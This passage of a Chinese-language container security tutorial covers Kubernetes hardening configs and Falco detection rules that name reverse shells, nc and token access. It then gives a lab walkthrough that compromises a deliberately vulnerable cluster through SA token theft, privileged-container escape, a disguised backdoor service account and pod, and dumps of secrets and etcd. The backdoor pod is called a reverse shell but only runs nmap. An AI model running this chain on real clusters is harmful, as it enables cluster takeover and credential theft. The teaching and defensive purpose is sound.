| 8 | 启用网络策略 | NetworkPolicy默认拒绝 | 高 |
| 9 | 限制Secret访问 | RBAC最小权限 | 高 |
| 10 | 启用审计日志 | –audit-log-path | 高 |
| 11 | 使用命名空间隔离 | 按团队/环境分namespace | 中 |
| 12 | 限制镜像来源 | ImagePolicyWebhook/OPA | 高 |
| 13 | 禁用hostPID/hostNetwork | Pod Security Standards | 高 |
| 14 | 限制ServiceAccount Token | 启用TokenRequest/BoundToken | 中 |
| 15 | 定期轮换证书 | cert-manager自动化 | 中 |
| 16 | 启用Pod Security Admission | PSA enforce=restricted | 高 |
| 17 | 限制Node访问 | NodeRestriction准入插件 | 中 |
| 18 | 启用Secret加密静态 | EncryptionConfiguration | 严重 |
| 19 | 保护etcd访问 | TLS+客户端证书认证 | 严重 |
| 20 | 禁用Dashboard自动跳过 | 配置认证 | 高 |
| 21 | 使用非默认ServiceAccount | 每个Pod指定SA | 中 |
| 22 | 启用Admission Controller | –enable-admission-plugins | 中 |
| 23 | 定期kube-bench检查 | CIS合规扫描 | 低 |
| 24 | 集群升级补丁 | 定期更新Kubernetes版本 | 高 |
12.3 Pod Security Standards配置
# Pod Security Standards - Restricted级别
# 在命名空间级别配置
apiVersion: v1
kind: Namespace
metadata:
name: production
labels:
# 强制restricted级别
pod-security.kubernetes.io/enforce: restricted
pod-security.kubernetes.io/enforce-version: latest
# 审计和警告
pod-security.kubernetes.io/audit: restricted
pod-security.kubernetes.io/audit-version: latest
pod-security.kubernetes.io/warn: restricted
pod-security.kubernetes.io/warn-version: latest
---
# Restricted级别的Pod示例
apiVersion: v1
kind: Pod
metadata:
name: secure-pod
namespace: production
spec:
securityContext:
runAsNonRoot: true # 禁止root运行
runAsUser: 1000 # 指定非root UID
runAsGroup: 3000 # 指定非root GID
fsGroup: 2000 # 设置文件系统组
seccompProfile: # 启用seccomp
type: RuntimeDefault
containers:
- name: app
image: app:1.0.0
securityContext:
allowPrivilegeEscalation: false # 禁止提权
readOnlyRootFilesystem: true # 只读文件系统
runAsNonRoot: true
runAsUser: 1000
capabilities:
drop:
- ALL # 删除所有能力
add:
- NET_BIND_SERVICE # 仅添加必要的
seccompProfile:
type: RuntimeDefault
resources:
limits:
cpu: "500m"
memory: "512Mi"
requests:
cpu: "100m"
memory: "128Mi"
volumeMounts:
- name: tmp
mountPath: /tmp
- name: cache
mountPath: /app/cache
volumes:
- name: tmp
emptyDir: {}
- name: cache
emptyDir: {}
12.4 NetworkPolicy网络隔离
# NetworkPolicy - 默认拒绝所有流量
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: default-deny-all
namespace: production
spec:
podSelector: {} # 应用于命名空间内所有Pod
policyTypes:
- Ingress
- Egress
---
# 允许特定Pod之间的流量
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: allow-frontend-to-backend
namespace: production
spec:
podSelector:
matchLabels:
app: backend
policyTypes:
- Ingress
ingress:
- from:
- podSelector:
matchLabels:
app: frontend
ports:
- protocol: TCP
port: 8080
---
# 限制出站流量
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: restrict-egress
namespace: production
spec:
podSelector:
matchLabels:
app: backend
policyTypes:
- Egress
egress:
# 仅允许DNS
- to:
- namespaceSelector: {}
ports:
- protocol: UDP
port: 53
# 仅允许访问数据库
- to:
- podSelector:
matchLabels:
app: database
ports:
- protocol: TCP
port: 5432
12.5 OPA Gatekeeper策略
# Gatekeeper约束模板 - 禁止特权容器
apiVersion: templates.gatekeeper.sh/v1
kind: ConstraintTemplate
metadata:
name: k8sdisallowprivileged
spec:
crd:
spec:
names:
kind: K8sDisallowPrivileged
targets:
- target: admission.k8s.gatekeeper.sh
rego: |
package k8sdisallowprivileged
violation[{"msg": msg}] {
container := input.review.object.spec.containers[_]
container.securityContext.privileged == true
msg := sprintf("容器 %v 不允许使用特权模式", [container.name])
}
violation[{"msg": msg}] {
container := input.review.object.spec.initContainers[_]
container.securityContext.privileged == true
msg := sprintf("Init容器 %v 不允许使用特权模式", [container.name])
}
---
# 应用约束
apiVersion: constraints.gatekeeper.sh/v1beta1
kind: K8sDisallowPrivileged
metadata:
name: no-privileged-containers
spec:
match:
kinds:
- apiGroups: [""]
kinds: ["Pod"]
namespaces:
- "production"
- "staging"
---
# 禁止挂载宿主路径
apiVersion: templates.gatekeeper.sh/v1
kind: ConstraintTemplate
metadata:
name: k8sdisallowhostpath
spec:
crd:
spec:
names:
kind: K8sDisallowHostPath
targets:
- target: admission.k8s.gatekeeper.sh
rego: |
package k8sdisallowhostpath
violation[{"msg": msg}] {
volume := input.review.object.spec.volumes[_]
volume.hostPath
msg := sprintf("不允许使用hostPath卷: %v", [volume.name])
}
12.6 Falco运行时检测
# Falco规则 - 检测容器逃逸行为
- rule: Detect Privileged Container
desc: 检测特权容器启动
condition: container and container.privileged=true
output: >
检测到特权容器启动
(user=%user.name container_name=%container.name
image=%container.image.repository:%container.image.tag)
priority: WARNING
tags: [container, escape, privileged]
- rule: Detect Docker Socket Access
desc: 检测容器访问Docker Socket
condition: >
open_read and container and
fd.name startswith /var/run/docker.sock
output: >
容器访问Docker Socket
(user=%user.name container=%container.name
image=%container.image.repository
file=%fd.name)
priority: CRITICAL
tags: [container, escape, docker_socket]
- rule: Detect Mount in Container
desc: 检测容器内执行mount命令(可能的逃逸行为)
condition: >
spawned_process and container and
proc.name=mount
output: >
容器内执行mount命令
(user=%user.name container=%container.name
image=%container.image.repository
command=%proc.cmdline)
priority: CRITICAL
tags: [container, escape, mount]
- rule: Detect K8s Service Account Token Access
desc: 检测异常的ServiceAccount Token访问
condition: >
open_read and container and
fd.name startswith /var/run/secrets/kubernetes.io
and not proc.name in (kubelet, kube-apiserver)
output: >
异常ServiceAccount Token访问
(user=%user.name container=%container.name
image=%container.image.repository
file=%fd.name)
priority: WARNING
tags: [k8s, sa_token, credential_access]
# 安装Falco
helm install falco falcosecurity/falco \
--namespace falco \
--create-namespace \
--set driver.kind=ebpf \
--set falcosidekick.enabled=true \
--set falcosidekick.config.slack.webhookurl=YOUR_SLACK_WEBHOOK
# 查看Falco日志
kubectl logs -n falco -l app=falco -f
# 自定义规则
cat > /etc/falco/rules.d/custom_rules.yaml << 'EOF'
- rule: Detect Reverse Shell
desc: 检测反向Shell连接
condition: >
outbound and container and
fd.sip != 0.0.0.0 and
proc.name in (bash, sh, nc, ncat)
output: >
检测到容器内反向Shell
(user=%user.name container=%container.name
image=%container.image.repository
dest=%fd.sip:%fd.sport)
priority: CRITICAL
tags: [container, shell, exfiltration]
EOF
十三、靶场实战:完整容器攻击链
13.1 靶场环境搭建
使用KIND(Kubernetes in Docker)搭建靶场集群:
# 安装KIND
curl -Lo ./kind https://kind.sigs.k8s.io/dl/latest/kind-linux-amd64
chmod +x ./kind && mv ./kind /usr/local/bin/
# 创建靶场集群配置
cat > kind-lab.yaml << 'EOF'
kind: Cluster
apiVersion: kind.x-k8s.io/v1alpha4
nodes:
- role: control-plane
kubeadmConfigPatches:
- |
kind: ClusterConfiguration
metadata:
name: config
apiServer:
extraArgs:
anonymous-auth: "true"
kubeletConfiguration:
authentication:
anonymous:
enabled: true
- role: worker
- role: worker
networking:
podSubnet: "10.244.0.0/16"
serviceSubnet: "10.96.0.0/12"
EOF
# 创建集群
kind create cluster --config kind-lab.yaml --name lab
# 验证集群
kubectl get nodes
kubectl get pods -A
# 部署存在漏洞的应用
cat > vuln-app.yaml << 'EOF'
apiVersion: v1
kind: Namespace
metadata:
name: vulnerable
---
apiVersion: v1
kind: ServiceAccount
metadata:
name: vulnerable-sa
namespace: vulnerable
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: vulnerable-binding
subjects:
- kind: ServiceAccount
name: vulnerable-sa
namespace: vulnerable
roleRef:
kind: ClusterRole
name: cluster-admin
apiGroup: rbac.authorization.k8s.io
---
apiVersion: apps/v1
kind: Deployment
metadata:
name: web-app
namespace: vulnerable
spec:
replicas: 2
selector:
matchLabels:
app: web-app
template:
metadata:
labels:
app: web-app
spec:
serviceAccountName: vulnerable-sa
containers:
- name: web
image: nginx:1.25
securityContext:
privileged: true
ports:
- containerPort: 80
---
apiVersion: v1
kind: Service
metadata:
name: web-service
namespace: vulnerable
spec:
type: NodePort
selector:
app: web-app
ports:
- port: 80
targetPort: 80
nodePort: 30080
EOF
kubectl apply -f vuln-app.yaml
13.2 完整攻击链演示
阶段1:信息收集
# 假设通过Web应用漏洞获得初始访问(RCE)
# 获取容器内Shell
curl http://TARGET:30080/cmd.php?cmd=id
# 收集容器环境信息
cat /etc/hostname
cat /proc/1/cgroup | head
env | grep -i kube
ls /var/run/secrets/kubernetes.io/serviceaccount/
# 获取ServiceAccount Token
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
NAMESPACE=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace)
echo "[+] Token: ${TOKEN:0:50}..."
echo "[+] Namespace: $NAMESPACE"
阶段2:权限枚举
# 检查容器权限
cat /proc/1/status | grep CapEff
# CapEff=0000003fffffffff -> 特权容器
# 检查Kubernetes权限
curl -k -H "Authorization: Bearer $TOKEN" \
https://kubernetes.default.svc/api/v1/nodes | head
# 检查当前权限
curl -k -X POST \
https://kubernetes.default.svc/apis/authorization.k8s.io/v1/selfsubjectrulesreviews \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"kind":"SelfSubjectRulesReview","apiVersion":"authorization.k8s.io/v1","spec":{"namespace":"'$NAMESPACE'"}}'
# 安装kubectl
curl -LO https://dl.k8s.io/release/$(curl -L -s https://dl.k8s.io/release/stable.txt)/bin/linux/amd64/kubectl
chmod +x kubectl
# 使用Token配置kubectl
kubectl config set-cluster lab --server=https://kubernetes.default.svc --insecure-skip-tls-verify
kubectl config set-credentials sa --token=$TOKEN
kubectl config set-context lab --cluster=lab --user=sa --namespace=$NAMESPACE
kubectl config use-context lab
# 枚举集群
kubectl auth can-i --list
kubectl get nodes
kubectl get pods -A
kubectl get secrets -A
阶段3:容器逃逸
# 由于是特权容器,直接逃逸到Node
# 方法1:挂载宿主磁盘
fdisk -l
mkdir /host
mount /dev/vda1 /host # KIND使用虚拟磁盘
chroot /host /bin/bash
# 方法2:nsenter
nsenter --target 1 --mount --uts --ipc --net --pid -- /bin/bash
# 获取Node Shell后查找凭据
cat /etc/kubernetes/admin.conf 2>/dev/null
find / -name "*.conf" -path "*kube*" 2>/dev/null
# KIND环境的kubeconfig
cat /root/.kube/config 2>/dev/null || \
docker exec lab-control-plane cat /etc/kubernetes/admin.conf
阶段4:集群接管
# 使用kubeconfig接管集群
kubectl --kubeconfig=/etc/kubernetes/admin.conf get nodes
# 创建持久化后门
# 创建后门ServiceAccount
kubectl create serviceaccount backdoor -n kube-system
kubectl create clusterrolebinding backdoor-admin \
--clusterrole=cluster-admin \
--serviceaccount=kube-system:backdoor
# 创建长期Token
kubectl create token backdoor -n kube-system --duration=87600h
# 创建反向Shell Pod作为持久化
cat > persistent-pod.yaml << 'EOF'
apiVersion: v1
kind: Pod
metadata:
name: system-health-checker
namespace: kube-system
labels:
app: system-monitoring
spec:
serviceAccountName: backdoor
containers:
- name: monitor
image: alpine:latest
command: ["/bin/sh", "-c"]
args:
- |
apk add --no-cache nmap
while true; do
nmap -sV -p 6443,10250,2379 kubernetes.default.svc 2>/dev/null
sleep 3600
done
resources:
limits:
cpu: 100m
memory: 128Mi
restartPolicy: Always
EOF
kubectl apply -f persistent-pod.yaml
# 确认后门Pod运行
kubectl get pods -n kube-system | grep health-checker
阶段5:横向移动与数据窃取
# 窃取所有Secret
kubectl get secrets -A -o json > /tmp/all-secrets.json
# 窃取etcd数据(如果在Master节点上)
ETCDCTL_API=3 etcdctl \
--endpoints=https://127.0.0.1:2379 \
--cert=/etc/kubernetes/pki/etcd/server.crt \
--key=/etc/kubernetes/pki/etcd/server.key \
--cacert=/etc/kubernetes/pki/etcd/ca.crt \
get / --prefix --keys-only > /tmp/etcd-keys.txt
# 查看其他命名空间的Pod配置
kubectl get pods -A -o yaml > /tmp/all-pods.yaml
# 查找数据库连接字符串
grep -rE "connection|database|mysql|postgres|redis" /tmp/all-pods.yaml
# 清理痕迹(仅授权测试)
# 注意:真实攻击中清理痕迹是恶意行为
kubectl delete pod system-health-checker -n kube-system 2>/dev/null
13.3 攻击链流程图
Web应用漏洞(RCE)
|
v
获取容器Shell
|
v
枚举环境信息
(SA Token / 特权容器)
|
+-----------------+
| |
v v
容器逃逸 RBAC权限枚举
(挂载磁盘) (cluster-admin)
| |
v v
获取Node Shell 提权/横向移动
| |
+--------+--------+
|
v
获取kubeconfig
|
v
接管集群API Server
|
v
创建后门SA/Pod
|
v
窃取Secret/etcd数据
|
v
集群完全沦陷
十四、总结与参考资源
14.1 容器安全检查清单
Docker安全检查清单:
- Docker Daemon未暴露TCP端口
- 已启用TLS认证
- Docker Socket权限为660
- docker组成员受控
- 无特权容器运行
- 容器以非root用户运行
- 已删除不必要的Linux Capabilities
- 镜像已扫描无高危漏洞
- Dockerfile使用多阶段构建
- 已配置.dockerignore
- 镜像已签名验证
- 资源限制已配置
- 已启用用户命名空间隔离
- 日志已配置
- 定期运行Docker Bench
Kubernetes安全检查清单:
- API Server匿名访问已禁用
- RBAC已启用
- insecure-port已关闭
- etcd已启用加密
- kubelet匿名访问已禁用
- 无特权容器运行
- Pod Security Standards已配置
- NetworkPolicy已启用
- Secret访问受RBAC限制
- 审计日志已启用
- 命名空间隔离已配置
- 镜像来源受限
- ServiceAccount Token已限制
- 证书定期轮换
- Dashboard认证已配置
- 定期kube-bench检查
- 集群版本及时更新
- Falco运行时监控已部署
- OPA Gatekeeper策略已配置
- 备份策略已配置
14.2 工具速查表
| 场景 | 工具 | 常用命令 |
|---|---|---|
| 镜像漏洞扫描 | Trivy | trivy image IMAGE:TAG |
| 镜像组件分析 | Syft | syft IMAGE:TAG |
| 镜像签名 | Cosign | cosign sign IMAGE:TAG |
| CIS合规检查 | kube-bench | kube-bench run |
| 集群漏洞扫描 | kube-hunter | kube-hunter --remote IP |
| RBAC审计 | KubiScan | python3 KubiScan.py --priv |
| 渗透测试 | Peirates | peirates |
| Kubelet利用 | kubeletctl | kubeletctl pods -s IP |
| 运行时检测 | Falco | falco --rule-file rules.yaml |
| 策略执行 | OPA Gatekeeper | kubectl apply -f constraint.yaml |
| Dockerfile审计 | Hadolint | hadolint Dockerfile |
| 网络策略 | Calico | calicoctl get policy |
| SBOM生成 | Syft/Trivy | syft image -o spdx-json |
14.3 参考资源
官方文档:
- Docker安全官方文档:https://docs.docker.com/engine/security/
- Kubernetes安全官方文档:https://kubernetes.io/docs/concepts/security/
- CIS Docker Benchmark:https://www.cisecurity.org/benchmark/docker
- CIS Kubernetes Benchmark:https://www.cisecurity.org/benchmark/kubernetes
- NIST容器安全指南:https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-190.pdf
开源工具:
- Trivy:https://github.com/aquasecurity/trivy
- kube-bench:https://github.com/aquasecurity/kube-bench
- kube-hunter:https://github.com/aquasecurity/kube-hunter
- Falco:https://github.com/falcosecurity/falco
- OPA Gatekeeper:https://github.com/open-policy-agent/gatekeeper
- Cosign:https://github.com/sigstore/cosign
- KubiScan:https://github.com/cyberark/KubiScan
- Peirates:https://github.com/inguardians/peirates
- kubeletctl:https://github.com/cyberark/kubeletctl
学习资源:
- Kubernetes安全手册:https://kubernetes.io/docs/concepts/security/
- 云原生安全白皮书:https://github.com/cncf/tag-security
- OWASP Docker Top 10:https://owasp.org/www-project-docker-top-10/
- 容器安全训练靶场:https://github.com/MadhuAKumar/container-security-lab
- KillerKoda交互式实验:https://killercoda.com/
14.4 合规声明
【提示】 本文所有技术内容、代码示例和攻击手法仅用于授权安全测试、安全研究和教学目的。读者在使用本文中的任何技术前,必须确保已获得目标系统的书面授权。未经授权访问计算机系统属于违法行为,可能违反《中华人民共和国网络安全法》《中华人民共和国刑法》第二百八十五条(非法侵入计算机信息系统罪)、第二百八十六条(破坏计算机信息系统罪)等相关法律法规,也可能违反《计算机信息系统安全保护条例》等行政法规。作者和发布平台不对读者滥用本文技术造成的任何法律后果承担责任。请务必在法律允许的范围内进行安全研究和测试。
本文从容器安全基础出发,系统覆盖了Docker安全审计、容器逃逸技术(基础与进阶)、镜像供应链攻击、Kubernetes攻击面分析、渗透实战、RBAC攻击、CI/CD管道攻击、安全工具实战、防御加固方案及靶场全链路演练。容器安全是一个持续演进的过程,攻击技术在不断升级,防御手段也需要同步迭代。建议读者建立常态化的安全审计机制,定期进行漏洞扫描和渗透测试,持续跟踪最新安全动态,构建纵深防御体系。
更多推荐
所有评论(0)